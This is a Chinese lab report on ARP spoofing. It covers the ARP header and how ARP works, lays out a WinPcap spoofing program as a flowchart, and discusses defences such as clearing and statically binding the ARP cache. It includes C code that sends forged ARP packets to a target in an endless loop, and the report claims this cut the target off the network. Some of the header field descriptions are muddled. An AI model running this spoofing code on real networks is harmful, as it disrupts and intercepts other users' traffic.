2、实验设计
ARP报头结构,如上图所示。硬件类型字段:指明了发送方想知道的硬件接口类型,以太网的值为1;协议类型字段:指明了发送方提供的高层协议类型,IP为0800(16进制);硬件地址长度和协议长度:指明了硬件地址和高层协议地址的长度,这样ARP报文就可以在任意硬件和任意协议的网络中使用;
操作字段:用来表示这个报文的类型,ARP请求为1,ARP响应为2,RARP请求为3,RARP响应为4;
发送方的硬件地址(0-3字节):源主机硬件地址的前3个字节;
发送方的硬件地址(4-5字节):源主机硬件地址的后3个字节;发送方IP(0-1字节):源主机硬件地址的前2个字节;发送方IP(2-3字节):源主机硬件地址的后2个字节;目的硬件地址(0-1字节):目的主机硬件地址的前2个字节;目的硬件地址(2-5字节):目的主机硬件地址的后4个字节;目的IP(0-3字节):目的主机的IP地址。
(2).ARP工作原理ARP的工作原理如下:
①.首先,每台主机都会在自己的ARP缓冲区(ARPCache)中建立一个ARP列表,以表示IP地址和MAC地址的对应关系。
②当源主机需要将一个数据包要发送到目的主机时,会首先检查自己ARP列表中是否存在该IP地址对应的MAC地址,如果有﹐就直接将数据包发送到这个MAC地址;如果没有,就向本地网段发起一个ARP请求的广播包,查询此目的主机对应的MAC地址。此ARP请求数据包里包括源主机的IP地址、硬件地址、以及目的主机的IP地址。
③网络中所有的主机收到这个ARP请求后,会检查数据包中的目的IP是否和自己的IP地址一致。如果不相同就忽略此数据包;如果相同,该主机首先将发送端的MAC地址和IP地址添加到自己的ARP列表中,如果ARP表中已经存在该IP的信息,则将其覆盖,然后给源主机发送一个ARP响应数据包,告诉对方自己是它需要查找的MAC地址;
④源主机收到这个ARP响应数据包后,将得到的目的主机的IP地址和MAC地址添加到自己的ARP列表中,并利用此信息开始数据的传输。如果源主机一直没有收到ARP响应数据包,表示ARP查询失败。
(3).ARP地址欺骗的原理ARP欺骗分两种,一种是对路由器ARP表的欺骗;另一种是对内网PC的网关欺骗。第一种ARP欺骗的原理是-截获网关数据。它通知路由器一系列错误的内网MAC地址,并按照一定的频率不断的更新学习进行,使真实的地址信息无法通过更新保存在路由器中,结果路由器的所有数据只能发送错误的MAC地址,造成正常的PC无法收到信息。第二种ARP欺骗原理是-通过交换机的MAC地址学习机制,伪造网关。它的原理是建立假的网关,让被它欺骗的PC向假网关发送数据,而不是通过正常的路由器或交换途径寻找网关,造成在同一网关的所有PC无法访问网络。
2、实验设计
(1)、下载并安装最新的 WinPcap安装程序,在开发环境中进行正确配置。
(2)、根据 ARP 欺骗原理,设计网管欺骗程序的编写流程,编写代码实现对内网 PC 的进 行欺骗。
3、程序设计流程图
主函数:
①检索设备列表并一一打印出来,转②;
②判断是否有设备,如无转③,如有转④;
③提示无相关设备,转⑱;
④输入你要欺骗的设备序号,转⑤;
⑤打开适配器,并判断是否成功打开,如是转⑦,否则转⑥;
⑥提示无法打开适配器,转⑱;
⑦判断链路层类型是否为以太网(只有在以太网下才能运行),如是转⑨,否则转⑧;
⑧提示程序只能在以太网下工作,转⑱;
⑨当前设备地址是否为空,如是转⑩,否则转⑪;
⑩将子网掩码存入数据结构中,转⑫;
⑪子网掩码设为0xffffff转⑫;
⑫从编译过滤器,转⑬;
⑬设置过滤器进行会话关联,转⑭;
⑭设置Arp头部(包括欺骗目标IP),转⑮
⑮不断给欺骗对象发Arp包,转⑯
⑯释放获取到的网络设备列表,转⑰;
⑰调用回调函数,采集数据包;
⑱释放获取到的网络设备列表。
打开并运行程序,程序可获取与当前设备所在的网络适配器绑定的设备列表,并显示在控制台如上图所示,由图3.1所示,与其绑定的有四个设备,你可选择任意一个与欺骗对象共有的设备,并对欺骗对象进行欺骗。
选择欺骗对象相同的设备,回车开始监听并进行欺骗。
然后就不能任何在线网站了,欺骗成功。
四、讨论与分析
如何防止 ARP 欺骗 ?
答:清空ARP缓存:使用ARP的指令法解决ARP欺骗问题,该方法是针对ARP欺骗原理进行解决的。一般来说ARP欺骗都是通过发送虚假的MAC地址与IP地址的对应ARP数据包来迷惑网络设备,用虚假的或错误的MAC地址与IP地址对应关系取代正确的对应关系。若是一些初级的ARP欺骗,可以通过ARP的指令来清空本机的ARP缓存对应关系,让网络设备从网络中重新获得正确的对应关系,具体解决过程如下:第一步:通过点击桌面上任务栏的“开始”->“运行”,然后输入cmd后回车,进入cmd(黑色背景)命令行模式;第二步:在命令行模式下输入arp-a命令来查看当前本机储存在本地系统ARP缓存中IP和MAC对应关系的信息;第三步:使用arp-d命令,将储存在本机系统中的ARP缓存信息清空,这样错误的ARP缓存信息就被删除了,本机将重新从网络中获得正确的ARP信息,达到局域网机器间互访和正常上网的目的。如果是遇到使用ARP欺骗工具来进行攻击的情况,使用上述的方法完全可以解决。但如果是感染ARP欺骗病毒,病毒每隔一段时间自动发送ARP欺骗数据包,这时使用清空ARP缓存的方法将无能为力了。
下面将介绍另外一种,可以解决感染ARP欺骗病毒的方法。指定ARP对应关系:其实该方法就是强制指定ARP对应关系。由于绝大部分ARP欺骗病毒都是针对网关MAC地址进行攻击的,使本机上ARP缓存中存储的网关设备的信息出现紊乱,这样当机器要上网发送数据包给网关时就会因为地址错误而失败,造成计算机无法上网。第一步:我们假设网关地址的MAC信息为00-14-78-a7-77-5c,对应的IP地址为192.168.2.1。指定ARP对应关系就是指这些地址。在感染了病毒的机器上,点击桌面->任务栏的“开始”->“运行”,输入cmd后回车,进入cmd命令行模式;第二步:使用arp-s命令来添加一条ARP地址对应关系,例如arp-s192.168.2.100-14-78-a7-77-5c命令。这样就将网关地址的IP与正确的MAC地址绑定好了,本机网络连接将恢复正常了;第三步:因为每次重新启动计算机的时候,ARP缓存信息都会被全部清除。所以我们应该把这个ARP静态地址添加指令写到一个批处理文件(例如:bat)中,然后将这个文件放到系统的启动项中。当程序随系统的启动而加载的话,就可以免除因为ARP静态映射信息丢失的困扰了。
// 设置Arp头
ARPHeader ah = { 0 };
ah.hrd = htons(ARPHRD_ETHER);
ah.eth_type = htons(ETHERTYPE_IP);
ah.maclen = 6;
ah.iplen = 4;
ah.opcode = htons(ARPOP_REQUEST);
ULONG32 sIPAddr = inet_addr("10.0.2.2");//模拟的源地址
ULONG32 dIPAddr = inet_addr("10.0.2.2");//要欺骗的地址
memcpy(ah.smac, arSourceMac, 6);
memcpy(ah.saddr, &sIPAddr, 4);
memcpy(ah.dmac, arDestMac, 6);
memcpy(ah.daddr, &dIPAddr, 4);
//int n = 255;
while (1)
{
char str[100];
sprintf(str, "10.0.2.%d", 2);//要欺骗的地址
//char str[100]="192.168.5.1";
dIPAddr = inet_addr(str);
memcpy(ah.daddr, &dIPAddr, 4);
memcpy(&ucFrame[sizeof(ETHeader)], &ah, sizeof(ah));
if (pcap_sendpacket(adhandle, ucFrame, 42) != 0)
{
fprintf(stderr, "\nError sending the packet: %s\n", pcap_geterr(adhandle));
return 3;
}
}
/* At this point, we don't need any more the device list. Free it */
pcap_freealldevs(alldevs);
/* start the capture */
pcap_loop(adhandle, 0, packet_handler, NULL);
return 0;
}
/* Callback function invoked by libpcap for every incoming packet */
void packet_handler(u_char *param, const struct pcap_pkthdr *header,
const u_char *pkt_data)
{
struct tm *ltime;
char time[16];
char *timestr = time;
ARPHeader *ih;
//udp_header *uh;
u_int ip_len;
u_short sport, dport;
time_t local_tv_sec;
/*
* Unused variable
*/
(VOID)(param);
/* convert the timestamp to readable format */
local_tv_sec = header->ts.tv_sec;
//localtime_s(len);
/* retireve the position of the ip header */
ih = (ARPHeader *)(pkt_data +
14); //length of ethernet header
in_addr saddr;
memcpy(&saddr, ih->saddr, sizeof(ULONG32));
/* print ip addresses and udp ports */
if (ih->opcode == htons(ARPOP_REPLY))
{
printf("%s", inet_ntoa(saddr));
u_char sMac[6] = { 0xff, 0xff, 0xff, 0xff, 0xff, 0xff };
memcpy(sMac, ih->smac, 6);
printf(" %02x-%02x-%02x-%02x-%02x-%02x\n",
sMac[0], sMac[1], sMac[2], sMac[3], sMac[4], sMac[5]);
}
//return;
}